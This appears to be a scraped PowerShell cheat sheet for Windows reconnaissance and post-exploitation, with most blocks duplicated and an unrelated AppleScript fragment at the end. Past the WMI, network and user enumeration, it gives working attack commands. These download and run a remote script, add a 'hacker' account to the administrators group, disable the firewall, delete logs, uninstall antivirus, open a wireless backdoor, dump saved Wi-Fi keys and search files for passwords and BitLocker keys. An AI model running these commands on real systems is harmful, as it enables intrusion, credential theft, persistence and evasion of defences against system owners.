$query="Select * from Win32_OnBoardDevice"; Get-WMIObject -Query $query
$query="Select * from Win32_OperatingSystem"; Get-WMIObject -Query $query
$query="Select * from Win32_PageFileUsage"; Get-WMIObject -Query $query
$query="Select * from Win32_PageFileSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_DiskPartition"; Get-WMIObject -Query $query
$query="Select * from Win32_PortResource"; Get-WMIObject -Query $query
$query="Select * from Win32_PortConnector"; Get-WMIObject -Query $query
$query="Select * from Win32_Printer"; Get-WMIObject -Query $query
$query="Select * from Win32_PrinterConfiguration"; Get-WMIObject -Query $query
$query="Select * from Win32_PrintJob"; Get-WMIObject -Query $query
$query="Select * from Win32_Process"; Get-WMIObject -Query $query
$query="Select * from Win32_Product"; Get-WMIObject -Query $query
$query="Select * from Win32_QuickFixEngineering"; Get-WMIObject -Query $query
$query="Select * from Win32_QuotaSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_TSAccount"; Get-WMIObject -Query $query
$query="Select * from Win32_TSNetworkAdapterSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_TSPermissionsSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_TerminalServiceSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_OSRecoveryConfiguration"; Get-WMIObject -Query $query
$query="Select * from Win32_Registry"; Get-WMIObject -Query $query
$query="Select * from Win32_SCSIController"; Get-WMIObject -Query $query
$query="Select * from Win32_PerfRawData_PerfNet_Server"; Get-WMIObject -Query $query
$query="Select * from Win32_Service"; Get-WMIObject -Query $query
$query="Select * from Win32_ShadowCopy"; Get-WMIObject -Query $query
$query="Select * from Win32_ShadowStorage"; Get-WMIObject -Query $query
$query="Select * from Win32_Share"; Get-WMIObject -Query $query
$query="Select * from Win32_SoftwareElement"; Get-WMIObject -Query $query
$query="Select * from Win32_SoftwareFeature"; Get-WMIObject -Query $query
$query="Select * from WIN32_SoundDevice"; Get-WMIObject -Query $query
$query="Select * from Win32_StartupCommand"; Get-WMIObject -Query $query
$query="Select * from Win32_SystemAccount"; Get-WMIObject -Query $query
$query="Select * from Win32_SystemDriver"; Get-WMIObject -Query $query
$query="Select * from Win32_SystemEnclosure"; Get-WMIObject -Query $query
$query="Select * from Win32_SystemSlot"; Get-WMIObject -Query $query
$query="Select * from Win32_TapeDrive"; Get-WMIObject -Query $query
$query="Select * from Win32_TemperatureProbe"; Get-WMIObject -Query $query
$query="Select * from Win32_TimeZone"; Get-WMIObject -Query $query
$query="Select * from Win32_UninterruptiblePowerSupply"; Get-WMIObject -Query $query
$query="Select * from Win32_UserAccount"; Get-WMIObject -Query $query
$query="Select * from Win32_VoltageProbe"; Get-WMIObject -Query $query
$query="Select * from Win32_Volume"; Get-WMIObject -Query $query
$query="Select * from Win32_VolumeQuotaSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_VolumeUserQuota"; Get-WMIObject -Query $query
$query="Select * from Win32_WMISetting"; Get-WMIObject -Query $query

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

#Information about disk

Get-WmiObject -Class win32_DiskDrive

#Retrieving the Shared Resources on the Local Computer

Get-WmiObject -Class Win32_Share

#Retrieving the Shared Resources on a Remote Computer

Get-WmiObject -Class Win32_Share -ComputerName COMPUTER

#Remote information

Get-WmiObject Win32_ComputerSystem -cn $computer

Get-WmiObject Win32_Group -cn $computer

Get-WmiObject Win32_LogicalDisk -cn $computer

Get-WmiObject Win32_NetworkClient -cn $computer

Get-WmiObject Win32_NetworkConnection -cn $computer

Get-WmiObject Win32_NetworkLoginProfile -cn $computer

Get-WmiObject Win32_NTLogEvent -cn $computer

Get-WmiObject Win32_OperatingSystem -cn $computer

Get-WmiObject Win32_Process -cn $computer

Get-WmiObject Win32_Product -cn $computer

Get-WmiObject Win32_QuickFixEngineering -cn $computer

Get-WmiObject Win32_Service -cn $computer

Get-WmiObject Win32_Share -cn $computer

Get-WmiObject Win32_StartupCommand -cn $computer

Get-WmiObject Win32_UserAccount -cn $computer

Get-WmiObject Win32_Volume -cn $computer

#Remote information (use credential)

$credenciales=Get-Credential

(Get-WmiObject Win32_AutochkSetting -ComputerName ('192.168.1.'+$_) -Credential $credenciales).SettingID

(Get-WmiObject Win32_BaseBoard -ComputerName ('192.168.1.'+$_) -Credential $credenciales).Manufacturer

(Get-WmiObject Win32_BIOS -ComputerName ('192.168.1.'+$_) -Credential $credenciales).Version

(Get-WmiObject Win32_Bus -ComputerName ('192.168.1.'+$_) -Credential $credenciales).DeviceID

Get-WmiObject Win32_Processor -ComputerName ('192.168.1.'+$_) -Credential $credenciales

Get-WmiObject Win32_SystemEnclosure -ComputerName ('192.168.1.'+$_) -Credential $credenciales

Get-WmiObject Win32_Battery -ComputerName ('192.168.1.'+$_) -Credential $credenciales

Get-WmiObject Win32_Printer -ComputerName ('192.168.1.'+$_) -Credential $credenciales

#WMI queries

$query="Select * from Msft_CliAlias"; Get-WMIObject -Query $query

$query="Select * from Win32_BaseBoard"; Get-WMIObject -Query $query

$query="Select * from Win32_BIOS"; Get-WMIObject -Query $query

$query="Select * from Win32_BootConfiguration"; Get-WMIObject -Query $query

$query="Select * from Win32_CDROMDrive"; Get-WMIObject -Query $query

$query="Select * from Win32_ComputerSystem"; Get-WMIObject -Query $query

$query="Select * from WIN32_PROCESSOR"; Get-WMIObject -Query $query

$query="Select * from Win32_ComputerSystemProduct"; Get-WMIObject -Query $query

$query="Select * from CIM_DataFile"; Get-WMIObject -Query $query

$query="Select * from WIN32_DCOMApplication"; Get-WMIObject -Query $query

$query="Select * from WIN32_DESKTOP"; Get-WMIObject -Query $query

$query="Select * from WIN32_DESKTOPMONITOR"; Get-WMIObject -Query $query

$query="Select * from Win32_DeviceMemoryAddress"; Get-WMIObject -Query $query

$query="Select * from Win32_DiskDrive"; Get-WMIObject -Query $query

$query="Select * from Win32_DiskQuota"; Get-WMIObject -Query $query

$query="Select * from Win32_DMAChannel"; Get-WMIObject -Query $query

$query="Select * from Win32_Environment"; Get-WMIObject -Query $query

$query="Select * from Win32_Directory"; Get-WMIObject -Query $query

$query="Select * from Win32_Group"; Get-WMIObject -Query $query

$query="Select * from Win32_IDEController"; Get-WMIObject -Query $query

$query="Select * from Win32_IRQResource"; Get-WMIObject -Query $query

$query="Select * from Win32_ScheduledJob"; Get-WMIObject -Query $query

$query="Select * from Win32_LoadOrderGroup"; Get-WMIObject -Query $query

$query="Select * from Win32_LogicalDisk"; Get-WMIObject -Query $query

$query="Select * from Win32_LogonSession"; Get-WMIObject -Query $query

$query="Select * from WIN32_CACHEMEMORY"; Get-WMIObject -Query $query

$query="Select * from Win32_PhysicalMemory"; Get-WMIObject -Query $query

$query="Select * from Win32_PhysicalMemoryArray"; Get-WMIObject -Query $query

$query="Select * from WIN32_NetworkClient"; Get-WMIObject -Query $query

$query="Select * from Win32_NetworkLoginProfile"; Get-WMIObject -Query $query

$query="Select * from Win32_NetworkProtocol"; Get-WMIObject -Query $query

$query="Select * from Win32_NetworkConnection"; Get-WMIObject -Query $query

$query="Select * from Win32_NetworkAdapter"; Get-WMIObject -Query $query

$query="Select * from Win32_NetworkAdapterConfiguration"; Get-WMIObject -Query $query

$query="Select * from Win32_NTDomain"; Get-WMIObject -Query $query

$query="Select * from Win32_NTLogEvent"; Get-WMIObject -Query $query

$query="Select * from Win32_NTEventlogFile"; Get-WMIObject -Query $query

$query="Select * from Win32_OnBoardDevice"; Get-WMIObject -Query $query

$query="Select * from Win32_OperatingSystem"; Get-WMIObject -Query $query

$query="Select * from Win32_PageFileUsage"; Get-WMIObject -Query $query

$query="Select * from Win32_PageFileSetting"; Get-WMIObject -Query $query

$query="Select * from Win32_DiskPartition"; Get-WMIObject -Query $query

$query="Select * from Win32_PortResource"; Get-WMIObject -Query $query

$query="Select * from Win32_PortConnector"; Get-WMIObject -Query $query

$query="Select * from Win32_Printer"; Get-WMIObject -Query $query

$query="Select * from Win32_PrinterConfiguration"; Get-WMIObject -Query $query

$query="Select * from Win32_PrintJob"; Get-WMIObject -Query $query

$query="Select * from Win32_Process"; Get-WMIObject -Query $query

$query="Select * from Win32_Product"; Get-WMIObject -Query $query

$query="Select * from Win32_QuickFixEngineering"; Get-WMIObject -Query $query

$query="Select * from Win32_QuotaSetting"; Get-WMIObject -Query $query

$query="Select * from Win32_TSAccount"; Get-WMIObject -Query $query

$query="Select * from Win32_TSNetworkAdapterSetting"; Get-WMIObject -Query $query

$query="Select * from Win32_TSPermissionsSetting"; Get-WMIObject -Query $query

$query="Select * from Win32_TerminalServiceSetting"; Get-WMIObject -Query $query

$query="Select * from Win32_OSRecoveryConfiguration"; Get-WMIObject -Query $query

$query="Select * from Win32_Registry"; Get-WMIObject -Query $query

$query="Select * from Win32_SCSIController"; Get-WMIObject -Query $query

$query="Select * from Win32_PerfRawData_PerfNet_Server"; Get-WMIObject -Query $query

$query="Select * from Win32_Service"; Get-WMIObject -Query $query

$query="Select * from Win32_ShadowCopy"; Get-WMIObject -Query $query

$query="Select * from Win32_ShadowStorage"; Get-WMIObject -Query $query

$query="Select * from Win32_Share"; Get-WMIObject -Query $query

$query="Select * from Win32_SoftwareElement"; Get-WMIObject -Query $query

$query="Select * from Win32_SoftwareFeature"; Get-WMIObject -Query $query

$query="Select * from WIN32_SoundDevice"; Get-WMIObject -Query $query

$query="Select * from Win32_StartupCommand"; Get-WMIObject -Query $query

$query="Select * from Win32_SystemAccount"; Get-WMIObject -Query $query

$query="Select * from Win32_SystemDriver"; Get-WMIObject -Query $query

$query="Select * from Win32_SystemEnclosure"; Get-WMIObject -Query $query

$query="Select * from Win32_SystemSlot"; Get-WMIObject -Query $query

$query="Select * from Win32_TapeDrive"; Get-WMIObject -Query $query

$query="Select * from Win32_TemperatureProbe"; Get-WMIObject -Query $query

$query="Select * from Win32_TimeZone"; Get-WMIObject -Query $query

$query="Select * from Win32_UninterruptiblePowerSupply"; Get-WMIObject -Query $query

$query="Select * from Win32_UserAccount"; Get-WMIObject -Query $query

$query="Select * from Win32_VoltageProbe"; Get-WMIObject -Query $query

$query="Select * from Win32_Volume"; Get-WMIObject -Query $query

$query="Select * from Win32_VolumeQuotaSetting"; Get-WMIObject -Query $query

$query="Select * from Win32_VolumeUserQuota"; Get-WMIObject -Query $query

$query="Select * from Win32_WMISetting"; Get-WMIObject -Query $query

Networking

#Network Adaptor information contains, manufacturer, MAC ID etc
Get-WmiObject -Class win32_networkadapter

#Hardware information of the network adapter
Get-NetAdapterHardwareInfo

#Returns all physical network adapters
Get-NetAdapter -Physical

#Networking statistics from the network adapter. The statistics include broadcast, multicast, discards, and errors
Get-NetAdapterStatistics

#Get the current MAC
Get-NetAdapter | Select-Object Name,MacAddress
Get-WmiObject -Class Win32_NetworkAdapterConfiguration | Select-Object Description,MACAddress

#Neighbor cache entries (The neighbor cache maintains information for each on-link neighbor, including the IP address and the associated link-layer address. In IPv4, the neighbor cache is commonly known as the Address Resolution Protocol (ARP) cache)
Get-NetNeighbor

#Get the current IP address
Get-NetIPAddress | Select-Object InterfaceAlias,IPAddress
Get-NetIPAddress -AddressFamily ipv4
Get-NetIPAddress -AddressFamily ipv6
Get-NetIPConfiguration

#Information about firewall
Get-NetFirewallAddressFilter
Get-NetFirewallApplicationFilter
Get-NetFirewallInterfaceFilter
Get-NetFirewallInterfaceTypeFilter
Get-NetFirewallPortFilter
Get-NetFirewallProfile
Get-NetFirewallRule
Get-NetFirewallSecurityFilter
Get-NetFirewallServiceFilter
Get-NetFirewallSetting

#List Firewall Rules
#Direction: Inbound
Get-NetFirewallRule | Where {$_.Direction –eq ‘Inbound’}

#TCP
Get-NetTCPConnection
Get-NetTCPConnection | Select-Object LocalPort,Remoteport

#UDP
Get-NetUDPEndpoint
(Get-NetUDPEndpoint).LocalPort

#Information about DNS
Get-DnsClient
Get-DnsClientCache
Get-DnsClientGlobalSetting
Get-DnsClientNrptGlobal
Get-DnsClientNrptPolicy
Get-DnsClientNrptRule
Get-DnsClientServerAddress

#Displays your currently shared SMB entries
Get-SmbShare
Get-WmiObject -Class Win32_Share

#Access a Router
$user="admin"
$pass="admin123"
$pair="${user}:${pass}"
$bytes=[System.Text.Encoding]::ASCII.GetBytes($pair)
$base64=[System.Convert]::ToBase64String($bytes)
$basicAuthValue="Basic $base64"
$headers=@{Authorization=$basicAuthValue}
$url='https://192.168.1.1:89/rpSys.html'
$result=(Invoke-WebRequest -Uri $url -Headers $headers)
($result.AllElements | Where tagName -eq “title”).outerText

#Connect to Access Point
$user="admin"
$pass="1234"
$pair="${user}:${pass}"
$bytes=[System.Text.Encoding]::ASCII.GetBytes($pair)
$base64=[System.Convert]::ToBase64String($bytes)
$basicAuthValue="Basic $base64"
$headers=@{Authorization=$basicAuthValue}
$url='https://192.168.1.2/index.asp'
$result=(Invoke-WebRequest -Uri $url -Headers $headers)
($result.AllElements | Where tagName -eq “title”).outerText

#Network Adaptor information contains, manufacturer, MAC ID etc

Get-WmiObject -Class win32_networkadapter

#Hardware information of the network adapter

Get-NetAdapterHardwareInfo

#Returns all physical network adapters

Get-NetAdapter -Physical

#Networking statistics from the network adapter. The statistics include broadcast, multicast, discards, and errors

Get-NetAdapterStatistics

#Get the current MAC

Get-NetAdapter | Select-Object Name,MacAddress

Get-WmiObject -Class Win32_NetworkAdapterConfiguration | Select-Object Description,MACAddress

#Neighbor cache entries (The neighbor cache maintains information for each on-link neighbor, including the IP address and the associated link-layer address. In IPv4, the neighbor cache is commonly known as the Address Resolution Protocol (ARP) cache)

Get-NetNeighbor

#Get the current IP address

Get-NetIPAddress | Select-Object InterfaceAlias,IPAddress

Get-NetIPAddress -AddressFamily ipv4

Get-NetIPAddress -AddressFamily ipv6

Get-NetIPConfiguration

#Information about firewall

Get-NetFirewallAddressFilter

Get-NetFirewallApplicationFilter

Get-NetFirewallInterfaceFilter

Get-NetFirewallInterfaceTypeFilter

Get-NetFirewallPortFilter

Get-NetFirewallProfile

Get-NetFirewallRule

Get-NetFirewallSecurityFilter

Get-NetFirewallServiceFilter

Get-NetFirewallSetting

#List Firewall Rules

#Direction: Inbound

Get-NetFirewallRule | Where {$_.Direction –eq ‘Inbound’}

#TCP

Get-NetTCPConnection

Get-NetTCPConnection | Select-Object LocalPort,Remoteport

#UDP

Get-NetUDPEndpoint

(Get-NetUDPEndpoint).LocalPort

#Information about DNS

Get-DnsClient

Get-DnsClientCache

Get-DnsClientGlobalSetting

Get-DnsClientNrptGlobal

Get-DnsClientNrptPolicy

Get-DnsClientNrptRule

Get-DnsClientServerAddress

#Displays your currently shared SMB entries

Get-SmbShare

Get-WmiObject -Class Win32_Share

#Access a Router

$user="admin"

$pass="admin123"

$pair="${user}:${pass}"

$bytes=[System.Text.Encoding]::ASCII.GetBytes($pair)

$base64=[System.Convert]::ToBase64String($bytes)

$basicAuthValue="Basic $base64"

$headers=@{Authorization=$basicAuthValue}

$url='https://192.168.1.1:89/rpSys.html'

$result=(Invoke-WebRequest -Uri $url -Headers $headers)

($result.AllElements | Where tagName -eq “title”).outerText

#Connect to Access Point

$user="admin"

$pass="1234"

$pair="${user}:${pass}"

$bytes=[System.Text.Encoding]::ASCII.GetBytes($pair)

$base64=[System.Convert]::ToBase64String($bytes)

$basicAuthValue="Basic $base64"

$headers=@{Authorization=$basicAuthValue}

$url='https://192.168.1.2/index.asp'

$result=(Invoke-WebRequest -Uri $url -Headers $headers)

($result.AllElements | Where tagName -eq “title”).outerText

Users

#List your current user 
[System.Security.Principal.WindowsIdentity]::GetCurrent() 
([System.Security.Principal.WindowsIdentity]::GetCurrent()).name

#Remote user
Get-WmiObject win32_computersystem -property username -ComputerName RemoteComputer

#List local users
$adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
$adsi.Children | Where-Object {$_.SchemaClassName -eq 'user'} | Select-Object Name

#List local groups
$adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
$adsi.Children | Where-Object {$_.SchemaClassName -eq 'group'} | Select-Object name

#Information about user accounts
Get-WmiObject -Class Win32_UserAccount
Get-WmiObject -Class Win32_Account

#Information about group accounts
Get-WmiObject -Class Win32_Group

#List your current user

[System.Security.Principal.WindowsIdentity]::GetCurrent()

([System.Security.Principal.WindowsIdentity]::GetCurrent()).name

#Remote user

Get-WmiObject win32_computersystem -property username -ComputerName RemoteComputer

#List local users

$adsi = [ADSI]"WinNT://$env:COMPUTERNAME"

$adsi.Children | Where-Object {$_.SchemaClassName -eq 'user'} | Select-Object Name

#List local groups

$adsi = [ADSI]"WinNT://$env:COMPUTERNAME"

$adsi.Children | Where-Object {$_.SchemaClassName -eq 'group'} | Select-Object name

#Information about user accounts

Get-WmiObject -Class Win32_UserAccount

Get-WmiObject -Class Win32_Account

#Information about group accounts

Get-WmiObject -Class Win32_Group

Configs

#Services
Get-Service

#Print the contents of the Windows hosts file
Get-Content $env:windir\System32\drivers\etc\hosts

#Services

Get-Service

#Print the contents of the Windows hosts file

Get-Content $env:windir\System32\drivers\etc\hosts

Finding important files

#Gets the items in one or more specified locations
Get-ChildItem

#Recursively searches for files with a “.txt” extension in the C:\temp directory. The contents of any files matching this criteria are then searched for the term “password”
Get-ChildItem c:\temp -Filter *.txt -Recurse | Select-String password

#Searching file “TeamViewer”
Get-ChildItem c:\ -rec -ea SilentlyContinue | ForEach-Object {
Select-String "TeamViewer" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches
}

#Searching IP adresses in text files
Write-Host "IP addresses:`n"
Get-ChildItem C:\Users\ -rec -ea SilentlyContinue | ForEach-Object {
Select-String "\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches | ForEach-Object {($_.matches)|Select-Object Value}
}

#Searching BitLocker recovery keys
#Searching content “Clave de recuperación de Cifrado de unidad BitLocker”
Get-ChildItem C:\Users\juan -rec -ea SilentlyContinue | ForEach-Object {
Select-String "Clave de recuperación de Cifrado de unidad BitLocker" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches
}

#Gets the items in one or more specified locations

Get-ChildItem

#Recursively searches for files with a “.txt” extension in the C:\temp directory. The contents of any files matching this criteria are then searched for the term “password”

Get-ChildItem c:\temp -Filter *.txt -Recurse | Select-String password

#Searching file “TeamViewer”

Get-ChildItem c:\ -rec -ea SilentlyContinue | ForEach-Object {

Select-String "TeamViewer" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches

}

#Searching IP adresses in text files

Write-Host "IP addresses:`n"

Get-ChildItem C:\Users\ -rec -ea SilentlyContinue | ForEach-Object {

Select-String "\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches | ForEach-Object {($_.matches)|Select-Object Value}

}

#Searching BitLocker recovery keys

#Searching content “Clave de recuperación de Cifrado de unidad BitLocker”

Get-ChildItem C:\Users\juan -rec -ea SilentlyContinue | ForEach-Object {

Select-String "Clave de recuperación de Cifrado de unidad BitLocker" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches

}

Files to pull

#Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size 
Get-ChildItem $env:SystemDrive\pagefile.sys

#Prefetch files
Get-ChildItem $env:SystemRoot\Prefetch

#Portion of accessed file list within prefetch file for PowerShell.exe
Get-Content $env:SystemRoot\Prefetch\POWERSHELL_ISE.EXE-85BC6AB4.pf

#File contains the registry settings
Get-ChildItem $env:windir\System32\config -Force

#File contains the registry settings for their individual account
Get-ChildItem $env:USERPROFILE\NTUSER.DAT

#This file contains the mappings of IP addresses to host names
Get-ChildItem $env:windir\System32\drivers\etc\hosts
Get-Content $env:windir\System32\drivers\etc\hosts

#Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size

Get-ChildItem $env:SystemDrive\pagefile.sys

#Prefetch files

Get-ChildItem $env:SystemRoot\Prefetch

#Portion of accessed file list within prefetch file for PowerShell.exe

Get-Content $env:SystemRoot\Prefetch\POWERSHELL_ISE.EXE-85BC6AB4.pf

#File contains the registry settings

Get-ChildItem $env:windir\System32\config -Force

#File contains the registry settings for their individual account

Get-ChildItem $env:USERPROFILE\NTUSER.DAT

#This file contains the mappings of IP addresses to host names

Get-ChildItem $env:windir\System32\drivers\etc\hosts

Get-Content $env:windir\System32\drivers\etc\hosts

Remote system access

#Determines whether all elements of the path exist
Test-Path \\192.168.1.56\datos

#Gets the items in one or more specified locations
Get-ChildItem \\192.168.1.56\datos

#Creates a new Server Message Block (SMB) share
New-SmbShare -Name fso -Path F:\power
 
#Creates a new Server Message Block share and add permissions
New-SmbShare -Name fso -Path F:\power –FullAccess administrador -ReadAccess Everyone

#Enable remote desktop
powershell Start-Process powershell_ise -Verb runAs
Set-Location HKLM:\
$RegKey ='HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\'
Set-ItemProperty -Path $RegKey -Name fDenyTSConnections -Value 0

#View installed programs on remote machine
$credencial=Get-Credential
1..254 | %{
('192.168.1.'+$_)
if(Test-Connection ('192.168.1.'+$_) -Quiet)
{
Get-WmiObject -Class Win32_Product -ComputerName ('192.168.1.'+$_) -Credential $credencial
}
}

#Determines whether all elements of the path exist

Test-Path \\192.168.1.56\datos

#Gets the items in one or more specified locations

Get-ChildItem \\192.168.1.56\datos

#Creates a new Server Message Block (SMB) share

New-SmbShare -Name fso -Path F:\power

#Creates a new Server Message Block share and add permissions

New-SmbShare -Name fso -Path F:\power –FullAccess administrador -ReadAccess Everyone

#Enable remote desktop

powershell Start-Process powershell_ise -Verb runAs

Set-Location HKLM:\

$RegKey ='HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\'

Set-ItemProperty -Path $RegKey -Name fDenyTSConnections -Value 0

#View installed programs on remote machine

$credencial=Get-Credential

1..254 | %{

('192.168.1.'+$_)

if(Test-Connection ('192.168.1.'+$_) -Quiet)

{

Get-WmiObject -Class Win32_Product -ComputerName ('192.168.1.'+$_) -Credential $credencial

}

Software

#Gets a list of the app packages that are installed in a user profile
Get-AppxPackage

#Returns a list of all software packages that have been installed by using Package Management
Get-Package

#Gets a list of the app packages that are installed in a user profile

Get-AppxPackage

#Returns a list of all software packages that have been installed by using Package Management

Get-Package

AutoStart directories

Get-ChildItem $env:SystemDrive\'ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\' -Force

1	Get-ChildItem $env:SystemDrive\'ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\' -Force

Persistance This section focuses on gaining a foothold to regain, or reobtain access to a system through means of authentication, backdoors, etc.. Download

#Transfer one or more files between a client computer and a server
Start-BitsTransfer https://www.jesusninoc.com/vir.exe

1 2	#Transfer one or more files between a client computer and a server Start-BitsTransfer https://www.jesusninoc.com/vir.exe

Compress or expand ZIP archive

#Creates a new zipped (or compressed) archive file from one or more specified files or folders
Compress-Archive -LiteralPath C:\powershell\example.txt –CompressionLevel Optimal -DestinationPath C:\powershell\comprimido.zip

#Extracts files from a specified archive (zipped) file
Expand-Archive -LiteralPath C:\powershell\comprimido.zip -DestinationPath C:\powershell\descomprimir

#Creates a new zipped (or compressed) archive file from one or more specified files or folders

Compress-Archive -LiteralPath C:\powershell\example.txt –CompressionLevel Optimal -DestinationPath C:\powershell\comprimido.zip

#Extracts files from a specified archive (zipped) file

Expand-Archive -LiteralPath C:\powershell\comprimido.zip -DestinationPath C:\powershell\descomprimir

Reg command exit

#List
Set-Location HKLM:\
Get-ChildItem

#PowerShell execution policy
Set-Location HKLM:\
Set-Location \SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell\
Get-ChildItem

#Searching the registry “TeamViewer”
Get-ChildItem HKCU:\ -rec -ea SilentlyContinue | ForEach-Object {
Select-String "TeamViewer" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches

#Searching the registry: URL
Get-ChildItem HKCU:\ -rec -ea SilentlyContinue | ForEach-Object {
Select-String "\b(ht|f)tp(s?)[^ ]*\.[^ ]*(\/[^ ]*)*\b" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches | ForEach-Object {($_.matches)|Select-Object Value}
}

#List

Set-Location HKLM:\

Get-ChildItem

#PowerShell execution policy

Set-Location HKLM:\

Set-Location \SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell\

Get-ChildItem

#Searching the registry “TeamViewer”

Get-ChildItem HKCU:\ -rec -ea SilentlyContinue | ForEach-Object {

Select-String "TeamViewer" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches

#Searching the registry: URL

Get-ChildItem HKCU:\ -rec -ea SilentlyContinue | ForEach-Object {

Select-String "\b(ht|f)tp(s?)[^ ]*\.[^ ]*(\/[^ ]*)*\b" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches | ForEach-Object {($_.matches)|Select-Object Value}

}

Deleting logs

Remove-Item $env:windir\*.log

1	Remove-Item $env:windir\*.log

Uninstalling software “Antivirus”

Uninstall-Package

1	Uninstall-Package

Invasive or altering commands

#Creates a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
$ComputerName = $env:COMPUTERNAME
$computer = [ADSI]"WinNT://$($ComputerName),computer"
$Name = 'hacker'
$user = $computer.Create('User', "$($Name)")
$password = 'hacker'
$user.SetPassword($password)
$user.SetInfo()

#Creates a new group
$ComputerName = $env:COMPUTERNAME
$computer = [ADSI]"WinNT://$($ComputerName),computer"
$Name = 'hackers'
$user = $computer.Create('Group', "$($Name)")
$user.SetInfo()

#Add a user to a group
$ComputerName = $env:COMPUTERNAME
$nombregrupo='administradores'
$group = [ADSI]"WinNT://$($Computername)/$($nombregrupo),group" 
$user = 'hacker'
$group.add("WinNT://$($user),user")

#Registers a scheduled task definition on a local computer
Register-ScheduledTask Task01 -Action (New-ScheduledTaskAction -Execute "Cmd") -Principal (New-ScheduledTaskPrincipal -GroupId "BUILTIN\administradores" -RunLevel Highest) -Settings (New-ScheduledTaskSettingsSet -RestartCount 5 -RestartInterval 60)

#Creates a new Server Message Block (SMB) share
New-SmbShare -Name fso -Path F:\power
 
#Creates a new Server Message Block share and add permissions
New-SmbShare -Name fso -Path F:\power –FullAccess administrador -ReadAccess Everyone

#Modify hosts file
Get-Content $env:windir\System32\drivers\etc\hosts
Add-Content $env:windir\System32\drivers\etc\hosts "127.0.0.1 jesusninoc.com"

#Download and execute a remote script
powershell Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config.ps1;
powershell -File $env:TEMP\config.ps1

#Download and execute a remote script (No changes the user preference for the Windows PowerShell execution policy)
powershell Start-Process powershell_ise -Verb runAs
$script=Invoke-WebRequest 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt'
Invoke-Expression $script

#Proxy configuration
netsh winhttp import proxy source=ie

#Disable the Microsoft Windows Firewall
netsh advfirewall set allprofiles state off

#Creating a wireless backdoor
netsh wlan set host mode=allow ssid=WLAN_AA key=123ASBB@@
netsh wlan start host

#Wireless password
(netsh wlan show profile | Select-String "Perfil de todos los usuarios") | %{
[String]$SSID=$_
$SSID=$SSID.Split(":")[1].trim()
$SSID
netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave'
}

#Creates a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’

$ComputerName = $env:COMPUTERNAME

$computer = [ADSI]"WinNT://$($ComputerName),computer"

$Name = 'hacker'

$user = $computer.Create('User', "$($Name)")

$password = 'hacker'

$user.SetPassword($password)

$user.SetInfo()

#Creates a new group

$ComputerName = $env:COMPUTERNAME

$computer = [ADSI]"WinNT://$($ComputerName),computer"

$Name = 'hackers'

$user = $computer.Create('Group', "$($Name)")

$user.SetInfo()

#Add a user to a group

$ComputerName = $env:COMPUTERNAME

$nombregrupo='administradores'

$group = [ADSI]"WinNT://$($Computername)/$($nombregrupo),group"

$user = 'hacker'

$group.add("WinNT://$($user),user")

#Registers a scheduled task definition on a local computer

Register-ScheduledTask Task01 -Action (New-ScheduledTaskAction -Execute "Cmd") -Principal (New-ScheduledTaskPrincipal -GroupId "BUILTIN\administradores" -RunLevel Highest) -Settings (New-ScheduledTaskSettingsSet -RestartCount 5 -RestartInterval 60)

#Creates a new Server Message Block (SMB) share

New-SmbShare -Name fso -Path F:\power

#Creates a new Server Message Block share and add permissions

New-SmbShare -Name fso -Path F:\power –FullAccess administrador -ReadAccess Everyone

#Modify hosts file

Get-Content $env:windir\System32\drivers\etc\hosts

Add-Content $env:windir\System32\drivers\etc\hosts "127.0.0.1 jesusninoc.com"

#Download and execute a remote script

powershell Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config.ps1;

powershell -File $env:TEMP\config.ps1

#Download and execute a remote script (No changes the user preference for the Windows PowerShell execution policy)

powershell Start-Process powershell_ise -Verb runAs

$script=Invoke-WebRequest 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt'

Invoke-Expression $script

#Proxy configuration

netsh winhttp import proxy source=ie

#Disable the Microsoft Windows Firewall

netsh advfirewall set allprofiles state off

#Creating a wireless backdoor

netsh wlan set host mode=allow ssid=WLAN_AA key=123ASBB@@

netsh wlan start host

#Wireless password

(netsh wlan show profile | Select-String "Perfil de todos los usuarios") | %{

[String]$SSID=$_

$SSID=$SSID.Split(":")[1].trim()

$SSID

netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave'

}

AppleScript PowerShell

Ejecutar un cmdlet de PowerShell desde AppleScript

(No Ratings Yet)

#Listar los ficheros que hay en una carpeta
set ficheros to do shell script "/usr/local/bin/powershell Get-ChildItem /Users/lamac"
display dialog ficheros

#Listar los ficheros que hay en una carpeta

